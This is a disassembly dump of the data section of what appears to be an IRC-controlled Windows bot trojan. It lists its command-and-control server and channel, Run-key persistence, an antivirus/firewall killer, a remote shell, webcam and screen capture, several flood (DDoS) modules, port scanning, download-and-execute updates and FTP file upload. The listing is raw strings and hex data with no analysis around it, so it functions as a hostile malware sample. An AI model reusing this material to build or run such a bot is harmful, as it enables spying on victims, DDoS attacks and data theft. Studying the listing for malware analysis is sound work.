'saad.',0 ; DATA XREF: ___:004016E8o ; ___:00401773o align 4 byte_4290E4 db 73h ; DATA XREF: ___:loc_401789r ; ___:00401797o aAber_ircqforum db 'aber.ircqforum.com',0 aFaak_0 db '#FAAK#',0 ; DATA XREF: ___:004017ADo align 10h aSaad__0 db 'saad.',0 ; DATA XREF: ___:004017BFo align 4 byte_429108 db 77h ; DATA XREF: ___:00401364o ; ___:00401388w ... db 69h, 6Eh, 64h dd 72657373h, 652E6376h, 6578h dword_429118 dd 6E6E6977h, 61622E74h, 74h ; DATA XREF: ___:00411C50o aWindowsServces db 'Windows Servces Agent',0 ; DATA XREF: sub_401000+Eo align 4 asc_42913C: ; DATA XREF: ___:0040AD34o unicode 0, <->,0 aWinsys_dat db 'winsys.dat',0 align 4 aXI db '-x+i',0 ; DATA XREF: sub_401ACD+7F26o align 4 aF db '#f',0 ; DATA XREF: sub_401ACD+1D45o ; sub_401ACD+303Fo ... align 4 aF_0 db '#f',0 ; DATA XREF: sub_401ACD+44A2o align 4 aF_1 db '#f',0 ; DATA XREF: sub_401ACD+40C4o ; sub_401ACD+4216o align 10h off_429160 dd offset a@admin_com ; DATA XREF: sub_401ACD:loc_4098FBo ; "*@admin.com" off_429164 dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r ; sub_401ACD+7E4Ao ; "mIRC v6.16 Khaled Mardam-Bey" dd offset aMircV6_17Khale ; "mIRC v6.17 Khaled Mardam-Bey" dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey" dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey" aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 align 4 db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E79+28o ; sub_41A19D+28o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E79+D4o ; sub_41A19D+D4o align 4 dd offset aAdministrato_0 ; "administrator" dd 0 dd offset dword_43D128 dd offset aAdministrato_0 ; "administrator" align 10h dword_429230 dd 10h ; DATA XREF: sub_401ACD+AFBr ; sub_401ACD+B27r ... aAdministrato_0 db 'administrator',0 ; DATA XREF: ___:0042921Co ; ___:00429228o align 4 aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o align 4 aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co align 4 aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o align 4 aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429164o align 4 a@admin_com db '*@admin.com',0 ; DATA XREF: ___:off_429160o dword_4292D0 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:0040168Co aFailedToStartS db '- Failed to start server, error: <%d>.',0 align 4 dword_429304 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:00401641o aServerRunningO db '- Server running on Port: 113.',0 align 10h unk_429330 db 2Dh ; - ; DATA XREF: ___:00401614o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0 align 10h unk_429370 db 2Dh ; - ; DATA XREF: ___:004015C3o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aAvFwKillerActi db ' AV/FW Killer active.',0 align 4 dword_429394 dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h ; DATA XREF: ___:00401585o dd 2E646574h, 0 dword_4293B0 dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o dword_4293BC dd 255C7325h, 73h ; DATA XREF: ___:004013AAo ; sub_415A2F+7Eo dword_4293C4 dd 73257325h, 0 ; DATA XREF: ___:0040132Eo ; sub_40F6B3+EAo ... unk_4293CC db 2Dh ; - ; DATA XREF: sub_4017ED+F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aConnectedToS_ db 'Connected to %s.',0 align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401955+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401955+35o align 4 aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Eo align 4 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F16o align 4 unk_429434 db 2Dh ; - ; DATA XREF: sub_401ACD+7F09o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedIn_ db 'User: %s logged in.',0 unk_429454 db 2Dh ; - ; DATA XREF: sub_401ACD+7EECo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPasswordAccept db 'Password accepted.',0 align 4 unk_429474 db 2Dh ; - ; DATA XREF: sub_401ACD+7E8Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedHostAuth db '*Failed host auth by: (%s!%s).',0 align 10h aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7E62o align 4 unk_4294C8 db 2Dh ; - ; DATA XREF: sub_401ACD+7E24o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedPassAuth db '*Failed pass auth by: (%s!%s).',0 align 4 aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7E12o ; sub_401ACD+7E79o align 10h aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7DFBo align 4 asc_429548: ; DATA XREF: sub_401ACD+7DCBo unicode 0, <~>,0 unk_42954C db 2Dh ; - ; DATA XREF: sub_401ACD+7D7Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRandomNickChan db 'Random nick change: %s',0 align 10h unk_429570 db 2Dh ; - ; DATA XREF: sub_401ACD+7D0Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnectingIn db 'Reconnecting in %s seconds',0 align 4 unk_429598 db 2Dh ; - ; DATA XREF: sub_401ACD+7CC3o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnecting_0 db 'Reconnecting in %s ms',0 align 4 unk_4295BC db 2Dh ; - ; DATA XREF: sub_401ACD+7CA1o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNickChangedToS db 'Nick changed to: ',27h,'%s',27h,'.',0 align 10h unk_4295E0 db 2Dh ; - ; DATA XREF: sub_401ACD+7C81o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChannelS db 'Joined channel: ',27h,'%s',27h,'.',0 align 4 unk_429604 db 2Dh ; - ; DATA XREF: sub_401ACD+7C5Ao db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPartedChannelS db 'Parted channel: ',27h,'%s',27h,'.',0 align 4 dword_429628 dd 234032Dh, 6E69616Dh, 202D0302h, 20435249h, 3A776152h ; DATA XREF: sub_401ACD+7C3Ao dd 2E732520h, 0 unk_429644 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409684o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToKillTh db '- Failed to kill thread: %s.',0 align 10h unk_429670 db 2Dh ; - ; DATA XREF: sub_401ACD+7BB0o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aKilledThreadS_ db '- Killed thread: %s.',0 align 4 unk_429694 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4095FCo db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aNoActiveThread db '- No active threads found.',0 unk_4296BC db 2Dh ; - ; DATA XREF: sub_401ACD+7B25o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aStoppedDThread db '- Stopped: %d thread(s).',0 align 4 aAll db 'all',0 ; DATA XREF: sub_401ACD+7B0Bo unk_4296E8 db 2Dh ; - ; DATA XREF: sub_401ACD+79FEo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrefixChangedT db 'Prefix changed to: ',27h,'%c',27h,'.',0 align 10h unk_429710 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4094B2o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0 unk_429734 db 2Dh ; - ; DATA XREF: sub_401ACD+79DBo db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFileOpenedS db ' File opened: %s',0 align 4 unk_429754 db 2Dh ; - ; DATA XREF: sub_401ACD+79B7o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aServerChangedT db 'Server changed to: ',27h,'%s',27h,'.',0 align 4 unk_42977C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409467o db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0 align 4 unk_4297A4 db 2Dh ; - ; DATA XREF: sub_401ACD+796Co db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aLookupSS_ db '- Lookup: %s -> %s.',0 align 4 unk_4297C4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4093FCo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTermin db ' Failed to terminate process: %s',0 align 4 unk_4297F4 db 2Dh ; - ; DATA XREF: sub_401ACD+7925o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledS db ' Process killed: %s',0 unk_429814 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409398o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTerm_0 db ' Failed to terminate process ID: %s',0 unk_429844 db 2Dh ; - ; DATA XREF: sub_401ACD+78C4o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledI db ' Process killed ID: %s',0 align 4 dword_429868 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h ; DATA XREF: sub_401ACD+7884o dd 27732527h, 2Eh unk_429884 db 2Dh ; - ; DATA XREF: sub_401ACD+7802o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aSendFileSUserS db '- Send File: %s, User: %s.',0 dword_4298A8 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah ; DATA XREF: sub_401ACD+7785o dd 0 unk_4298C0 db 2Dh ; - ; DATA XREF: sub_401ACD+7754o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0 align 10h dword_429900 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah ; DATA XREF: sub_401ACD+76E5o dd 2Eh dword_429918 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h ; DATA XREF: sub_401ACD:loc_40913Fo dd 746E6573h, 2Eh unk_429934 db 2Dh ; - ; DATA XREF: sub_401ACD+766Bo db 3, 34h, 2 db 6Dh ; m db 69h, 72h, 63h db 2 db 3, 2Dh, 20h aClientNotOpen_ db 'Client not open.',0 align 4 dword_429954 dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh ; DATA XREF: sub_401ACD+762Fo dd 732520h unk_42996C db 2Dh ; - ; DATA XREF: sub_401ACD+7610o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aErrorSendingTo db '- Error sending to remote shell.',0 align 4 asc_429998: ; DATA XREF: sub_401ACD+75F8o ; sub_40F6B3+FBo ... dw 0Ah unicode 0, <>,0 unk_42999C db 2Dh ; - ; DATA XREF: sub_401ACD+75CEo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileFailed db 'Read file failed: %s',0 align 10h unk_4299C0 db 2Dh ; - ; DATA XREF: sub_401ACD+75C1o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileComple db 'Read file complete: %s',0 align 4 unk_4299E4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40901Eo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_0 db '- Invalid parameters for amateur video capture.',0 align 4 unk_429A24 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409014o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCapt db '- Error while capturing amateur video from webcam.',0 unk_429A64 db 2Dh ; - ; DATA XREF: sub_401ACD+753Do db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aAmateurVideoSa db '- Amateur video saved to: %s.',0 align 10h aVideo db 'video',0 ; DATA XREF: sub_401ACD:loc_408F86o align 4 unk_429A98 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408F73o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_1 db '- Invalid parameters for webcam capture.',0 align 10h unk_429AD0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408F6Co db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_0 db '- Error while capturing from webcam.',0 align 4 unk_429B04 db 2Dh ; - ; DATA XREF: sub_401ACD+748Fo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aWebcamCaptureS db '- Webcam capture saved to: %s.',0 aFrame db 'frame',0 ; DATA XREF: sub_401ACD:loc_408EE5o align 4 unk_429B38 db 2Dh ; - ; DATA XREF: sub_401ACD+740Bo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverListComp db '- Driver list complete.',0 align 10h unk_429B60 db 2Dh ; - ; DATA XREF: sub_401ACD+73D8o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverDSS_ db '- Driver #%d - %s - %s.',0 align 4 aDrivers db 'drivers',0 ; DATA XREF: sub_401ACD:loc_408E58o unk_429B90 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408E45o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aNoFilenameSpec db '- No filename specified for screen capture.',0 align 4 unk_429BCC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408E3Eo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_1 db '- Error while capturing screen.',0 align 4 unk_429BFC db 2Dh ; - ; DATA XREF: sub_401ACD+7361o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aScreenCaptureS db '- Screen capture saved to: %s.',0 aScreen db 'screen',0 ; DATA XREF: sub_401ACD:loc_408DFDo align 10h dword_429C30 dd 234032Dh, 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh ; DATA XREF: sub_401ACD+7318o dd 2E732520h, 0 unk_429C4C db 2Dh ; - ; DATA XREF: sub_401ACD+72D2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUnableToExtrac db 'Unable to extract Gethost command.',0 align 4 unk_429C7C db 2Dh ; - ; DATA XREF: sub_401ACD+72B6o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aGethostSComman db 'Gethost: %s, Command: %s',0 align 4 unk_429CA4 db 2Dh ; - ; DATA XREF: sub_401ACD+7209o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aAliasAddedS_ db 'Alias added: %s.',0 align 4 unk_429CC4 db 2Dh ; - ; DATA XREF: sub_401ACD+71D5o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrivmsgSS_ db 'Privmsg: %s: %s.',0 align 4 unk_429CE4 db 2Dh ; - ; DATA XREF: sub_401ACD+7180o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aActionSS_ db 'Action: %s: %s.',0 dword_429D00 dd 234032Dh, 6E69616Dh, 202D0302h, 6C637943h, 2E65h ; DATA XREF: sub_401ACD+710Eo dword_429D14 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+70D4o ; sub_401ACD+7C47o unk_429D20 db 2Dh ; - ; DATA XREF: sub_401ACD+70AFo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aModeChangeS db 'Mode change: %s',0 aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+709Eo align 4 dword_429D48 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h ; DATA XREF: sub_401ACD+7073o dd 25203A29h, 73h dword_429D64 dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h ; DATA XREF: sub_401ACD+7004o dd 203A2973h, 7325h dword_429D80 dd 45444F4Dh, 732520h ; DATA XREF: sub_401ACD+6FA9o dword_429D88 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh ; DATA XREF: sub_401ACD+6F79o dd 203A2973h, 7325h dword_429DA4 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6F00o dword_429DB0 dd 0A0D7325h, 0 ; DATA XREF: sub_401ACD+6ECEo ; sub_401ACD+6F57o ... dword_429DB8 dd 54524150h, 732520h ; DATA XREF: sub_401ACD+6E95o dword_429DC0 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6E84o aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_429DFC dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6E15o aFloodingSForSS db '- Flooding %s for %s seconds.',0 align 4 unk_429E28 db 2Dh ; - ; DATA XREF: sub_401ACD+6D85o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_429E64 db 2Dh ; - ; DATA XREF: sub_401ACD+6D1Ao db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0 unk_429E98 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408745o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRepeatNotAllow db 'Repeat not allowed in command line: %s',0 align 4 dword_429ECC dd 234032Dh, 6E69616Dh, 202D0302h, 65706552h, 203A7461h ; DATA XREF: sub_401ACD+6C3Do dd 7325h dword_429EE4 dd 234032Dh, 6E69616Dh, 202D0302h, 616C6544h, 2E79h ; DATA XREF: sub_401ACD:loc_408673o dword_429EF8 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_401ACD+6B62o ; sub_401ACD+6C14o ... dword_429F08 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD:loc_4085D0o aBotIdMustBeDif db '- Bot ID must be different than current running process.',0 align 10h dword_429F50 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6AF9o aFailedToStartD db '- Failed to start download thread, error: <%d>.',0 dword_429F8C dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6A8Ao aDownloadingUpd db '- Downloading update from: %s.',0 align 4 aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401ACD+69E2o align 4 dword_429FC4 dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h ; DATA XREF: sub_401ACD+6980o dd 7325203Ah, 0 unk_429FE0 db 2Dh ; - ; DATA XREF: sub_401ACD+6975o db 3, 34h, 2 db 65h ; e db 78h, 65h, 63h db 2 db 3, 2Dh, 20h aCouldnTExecute db 'Couldn',27h,'t execute file.',0 align 4 unk_42A004 db 2Dh ; - ; DATA XREF: sub_401ACD+68DBo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aFailedToStar_1 db 'Failed to start search thread, error: <%d>.',0 unk_42A040 db 2Dh ; - ; DATA XREF: sub_401ACD+6865o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingForFi db 'Searching for file: %s in: %s.',0 align 10h dword_42A070 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD:loc_40826Bo ; sub_401ACD:loc_409366o unk_42A07C db 2Dh ; - ; DATA XREF: sub_401ACD+6789o db 3, 34h, 2 db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 10h unk_42A0A0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408234o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0 align 4 unk_42A0D8 db 2Dh ; - ; DATA XREF: sub_401ACD+675Do db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFailedToStar_2 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42A110 db 2Dh ; - ; DATA XREF: sub_401ACD+66EDo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0 align 4 dword_42A13C dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+666Ao aFailedToStar_3 db '- Failed to start clone thread, error: <%d>.',0 align 4 dword_42A178 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+65FBo aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0 align 4 unk_42A1A8 db 2Dh ; - ; DATA XREF: sub_401ACD+6582o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFailedToStar_4 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42A1E0 db 2Dh ; - ; DATA XREF: sub_401ACD+6513o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0 align 10h unk_42A210 db 2Dh ; - ; DATA XREF: sub_401ACD+6489o db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFailedToStar_5 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42A248 db 2Dh ; - ; DATA XREF: sub_401ACD+641Ao db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0 align 4 unk_42A278 db 2Dh ; - ; DATA XREF: sub_401ACD+63A1o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFailedToStar_6 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42A2B0 db 2Dh ; - ; DATA XREF: sub_401ACD+6332o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0 align 4 unk_42A2EC db 2Dh ; - ; DATA XREF: sub_401ACD+62B9o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aFailedToStartT db 'Failed to start transfer thread, error: <%d>.',0 align 4 unk_42A32C db 2Dh ; - ; DATA XREF: sub_401ACD+624Ao db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadingUrl db 'Downloading URL: %s to: %s.',0 unk_42A358 db 2Dh ; - ; DATA XREF: sub_401ACD+617Bo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0 align 4 unk_42A39C db 2Dh ; - ; DATA XREF: sub_401ACD+610Co db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0 unk_42A3D8 db 2Dh ; - ; DATA XREF: sub_401ACD+600Fo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStarte db 'Port scan started: %s:%d with delay: %d(ms).',0 align 4 aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: sub_401ACD+5F63o align 4 aSSS_2 db '[%s] * %s %s',0 ; DATA XREF: sub_401ACD+5E86o align 4 dword_42A434 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401ACD+5DF2o ; sub_401ACD+715Ao unk_42A440 db 2Dh ; - ; DATA XREF: sub_401ACD+5D8Eo db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0 align 4 unk_42A47C db 2Dh ; - ; DATA XREF: sub_401ACD+5D1Fo db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStar_0 db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0 align 4 unk_42A4CC db 2Dh ; - ; DATA XREF: sub_401ACD+5C88o ; sub_401ACD+607Eo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_8 db 'Failed to start scan thread, error: <%d>.',0 align 4 unk_42A504 db 2Dh ; - ; DATA XREF: sub_401ACD+5C19o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSPortScanStart db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m' db 'inutes using %d threads.',0 align 4 unk_42A56C db 2Dh ; - ; DATA XREF: sub_401ACD+5AA3o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_9 db 'Failed to start scan, no IP specified.',0 align 10h unk_42A5A0 db 2Dh ; - ; DATA XREF: sub_401ACD+5A46o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_10 db 'Failed to start scan, port is invalid.',0 align 4 unk_42A5D4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4073F3o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFileS db '- Uploading file: %s to: %s failed.',0 align 4 unk_42A604 db 2Dh ; - ; DATA XREF: sub_401ACD+591Fo db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFil_0 db '- Uploading file: %s to: %s',0 align 4 aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401ACD+5906o aSS_2 db '-s:%s',0 ; DATA XREF: sub_401ACD+58EFo align 4 aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401ACD+58CCo db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 10h aAb db 'ab',0 ; DATA XREF: sub_401ACD+58A8o ; ___:00411C61o align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401ACD+5897o align 4 unk_42A674 db 2Dh ; - ; DATA XREF: sub_401ACD+584Do db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aFileNotFoundS_ db '- File not found: %s.',0 align 4 aUpload db 'upload',0 ; DATA XREF: sub_401ACD+582Ao align 4 unk_42A69C db 2Dh ; - ; DATA XREF: sub_401ACD+57F4o db 3, 